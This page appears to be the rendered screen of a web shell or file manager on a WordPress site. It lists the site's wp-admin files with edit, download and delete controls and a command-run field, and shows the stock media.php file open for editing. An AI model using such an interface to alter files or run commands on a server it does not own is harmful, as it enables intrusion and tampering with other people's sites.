/
home
/
altere25
/
highwoodoutdoorpool.com
/
wp-admin
/
/home/altere25/highwoodoutdoorpool.com/wp-admin
mkdir
upload
Name
Size
Mode
Actions
css/
-
0755
rm
images/
-
0755
rm
includes/
-
0755
rm
js/
-
0755
rm
maint/
-
0755
rm
network/
-
0755
rm
user/
-
0755
rm
about.php
29352
0644
edit
dl
rm
admin-ajax.php
4654
0644
edit
dl
rm
admin-footer.php
2832
0644
edit
dl
rm
admin-functions.php
406
0644
edit
dl
rm
admin-header.php
8194
0644
edit
dl
rm
admin-post.php
1671
0644
edit
dl
rm
admin.php
12100
0644
edit
dl
rm
async-upload.php
3798
0644
edit
dl
rm
comment.php
10983
0644
edit
dl
rm
credits.php
4658
0644
edit
dl
rm
custom-background.php
416
0644
edit
dl
rm
custom-header.php
426
0644
edit
dl
rm
customize.php
9621
0644
edit
dl
rm
edit-comments.php
13740
0644
edit
dl
rm
edit-form-advanced.php
28793
0644
edit
dl
rm
edit-form-blocks.php
14060
0644
edit
dl
rm
edit-form-comment.php
8105
0644
edit
dl
rm
edit-link-form.php
6225
0644
edit
dl
rm
edit-tag-form.php
10100
0644
edit
dl
rm
edit-tags.php
21904
0644
edit
dl
rm
edit.php
18456
0644
edit
dl
rm
erase-personal-data.php
3227
0644
edit
dl
rm
error_log
984
0644
edit
dl
rm
export-personal-data.php
3202
0644
edit
dl
rm
export.php
10951
0644
edit
dl
rm
freedoms.php
4604
0644
edit
dl
rm
import.php
7519
0644
edit
dl
rm
index.php
5889
0644
edit
dl
rm
install-helper.php
5906
0644
edit
dl
rm
install.php
17022
0644
edit
dl
rm
link-add.php
711
0644
edit
dl
rm
link-manager.php
4188
0644
edit
dl
rm
link-parse-opml.php
2613
0644
edit
dl
rm
link.php
2730
0644
edit
dl
rm
load-scripts.php
1689
0644
edit
dl
rm
load-styles.php
2297
0644
edit
dl
rm
media-new.php
3199
0644
edit
dl
rm
media-upload.php
3362
0644
edit
dl
rm
media.php
5598
0644
edit
dl
rm
menu-header.php
9752
0644
edit
dl
rm
menu.php
14490
0644
edit
dl
rm
moderation.php
307
0644
edit
dl
rm
ms-admin.php
196
0644
edit
dl
rm
ms-delete-site.php
4183
0644
edit
dl
rm
ms-edit.php
216
0644
edit
dl
rm
ms-options.php
223
0644
edit
dl
rm
ms-sites.php
215
0644
edit
dl
rm
ms-themes.php
217
0644
edit
dl
rm
ms-upgrade-network.php
219
0644
edit
dl
rm
ms-users.php
215
0644
edit
dl
rm
my-sites.php
4641
0644
edit
dl
rm
nav-menus.php
43907
0644
edit
dl
rm
network.php
5378
0644
edit
dl
rm
options-discussion.php
15300
0644
edit
dl
rm
options-general.php
14939
0644
edit
dl
rm
options-head.php
492
0644
edit
dl
rm
options-media.php
6237
0644
edit
dl
rm
options-permalink.php
19206
0644
edit
dl
rm
options-privacy.php
8072
0644
edit
dl
rm
options-reading.php
9700
0644
edit
dl
rm
options-writing.php
8623
0644
edit
dl
rm
options.php
12302
0644
edit
dl
rm
plugin-editor.php
13359
0644
edit
dl
rm
plugin-install.php
6388
0644
edit
dl
rm
plugins.php
24380
0644
edit
dl
rm
post-new.php
2695
0644
edit
dl
rm
post.php
9963
0644
edit
dl
rm
press-this.php
2386
0644
edit
dl
rm
privacy-policy-guide.php
833
0644
edit
dl
rm
privacy.php
2346
0644
edit
dl
rm
profile.php
283
0644
edit
dl
rm
revision.php
5194
0644
edit
dl
rm
setup-config.php
15901
0644
edit
dl
rm
site-health-info.php
5776
0644
edit
dl
rm
site-health.php
5328
0644
edit
dl
rm
term.php
2248
0644
edit
dl
rm
theme-editor.php
15146
0644
edit
dl
rm
theme-install.php
15200
0644
edit
dl
rm
themes.php
23626
0644
edit
dl
rm
tools.php
3452
0644
edit
dl
rm
update-core.php
33796
0644
edit
dl
rm
update.php
10931
0644
edit
dl
rm
upgrade-functions.php
341
0644
edit
dl
rm
upgrade.php
5654
0644
edit
dl
rm
upload.php
13919
0644
edit
dl
rm
user-edit.php
29213
0644
edit
dl
rm
user-new.php
22333
0644
edit
dl
rm
users.php
19900
0644
edit
dl
rm
widgets.php
19741
0644
edit
dl
rm
Edit:
/home/altere25/highwoodoutdoorpool.com/wp-admin/media.php
(5598B)
<?php /** * Media management action handler. * * @package WordPress * @subpackage Administration */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; $parent_file = 'upload.php'; $submenu_file = 'upload.php'; wp_reset_vars( array( 'action' ) ); switch ( $action ) { case 'editattachment': $attachment_id = (int) $_POST['attachment_id']; check_admin_referer( 'media-form' ); if ( ! current_user_can( 'edit_post', $attachment_id ) ) { wp_die( __( 'Sorry, you are not allowed to edit this attachment.' ) ); } $errors = media_upload_form_handler(); if ( empty( $errors ) ) { $location = 'media.php'; $referer = wp_get_original_referer(); if ( $referer ) { if ( false !== strpos( $referer, 'upload.php' ) || ( url_to_postid( $referer ) == $attachment_id ) ) { $location = $referer; } } if ( false !== strpos( $location, 'upload.php' ) ) { $location = remove_query_arg( 'message', $location ); $location = add_query_arg( 'posted', $attachment_id, $location ); } elseif ( false !== strpos( $location, 'media.php' ) ) { $location = add_query_arg( 'message', 'updated', $location ); } wp_redirect( $location ); exit; } // No break. case 'edit': $title = __( 'Edit Media' ); if ( empty( $errors ) ) { $errors = null; } if ( empty( $_GET['attachment_id'] ) ) { wp_redirect( admin_url( 'upload.php' ) ); exit(); } $att_id = (int) $_GET['attachment_id']; if ( ! current_user_can( 'edit_post', $att_id ) ) { wp_die( __( 'Sorry, you are not allowed to edit this attachment.' ) ); } $att = get_post( $att_id ); if ( empty( $att->ID ) ) { wp_die( __( 'You attempted to edit an attachment that doesn’t exist. Perhaps it was deleted?' ) ); } if ( 'attachment' !== $att->post_type ) { wp_die( __( 'You attempted to edit an item that isn’t an attachment. Please go back and try again.' ) ); } if ( 'trash' == $att->post_status ) { wp_die( __( 'You can’t edit this attachment because it is in the Trash. Please move it out of the Trash and try again.' ) ); } add_filter( 'attachment_fields_to_edit', 'media_single_attachment_fields_to_edit', 10, 2 ); wp_enqueue_script( 'wp-ajax-response' ); wp_enqueue_script( 'image-edit' ); wp_enqueue_style( 'imgareaselect' ); get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'This screen allows you to edit fields for metadata in a file within the media library.' ) . '</p>' . '<p>' . __( 'For images only, you can click on Edit Image under the thumbnail to expand out an inline image editor with icons for cropping, rotating, or flipping the image as well as for undoing and redoing. The boxes on the right give you more options for scaling the image, for cropping it, and for cropping the thumbnail in a different way than you crop the original image. You can click on Help in those boxes to get more information.' ) . '</p>' . '<p>' . __( 'Note that you crop the image by clicking on it (the Crop icon is already selected) and dragging the cropping frame to select the desired part. Then click Save to retain the cropping.' ) . '</p>' . '<p>' . __( 'Remember to click Update Media to save metadata entered or changed.' ) . '</p>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://wordpress.org/support/article/edit-media/">Documentation on Edit Media</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/">Support</a>' ) . '</p>' ); require_once ABSPATH . 'wp-admin/admin-header.php'; $parent_file = 'upload.php'; $message = ''; $class = ''; if ( isset( $_GET['message'] ) ) { switch ( $_GET['message'] ) { case 'updated': $message = __( 'Media file updated.' ); $class = 'updated'; break; } } if ( $message ) { echo "<div id='message' class='$class'><p>$message</p></div>\n"; } ?> <div class="wrap"> <h1 class="wp-heading-inline"> <?php echo esc_html( $title ); ?> </h1> <?php if ( current_user_can( 'upload_files' ) ) { ?> <a href="media-new.php" class="page-title-action"><?php echo esc_html_x( 'Add New', 'file' ); ?></a> <?php } ?> <hr class="wp-header-end"> <form method="post" class="media-upload-form" id="media-single-form"> <p class="submit" style="padding-bottom: 0;"> <?php submit_button( __( 'Update Media' ), 'primary', 'save', false ); ?> </p> <div class="media-single"> <div id="media-item-<?php echo $att_id; ?>" class="media-item"> <?php echo get_media_item( $att_id, array( 'toggle' => false, 'send' => false, 'delete' => false, 'show_title' => false, 'errors' => ! empty( $errors[ $att_id ] ) ? $errors[ $att_id ] : null, ) ); ?> </div> </div> <?php submit_button( __( 'Update Media' ), 'primary', 'save' ); ?> <input type="hidden" name="post_id" id="post_id" value="<?php echo isset( $post_id ) ? esc_attr( $post_id ) : ''; ?>" /> <input type="hidden" name="attachment_id" id="attachment_id" value="<?php echo esc_attr( $att_id ); ?>" /> <input type="hidden" name="action" value="editattachment" /> <?php wp_original_referer_field( true, 'previous' ); ?> <?php wp_nonce_field( 'media-form' ); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; exit; default: wp_redirect( admin_url( 'upload.php' ) ); exit; }
Save
cmd:
run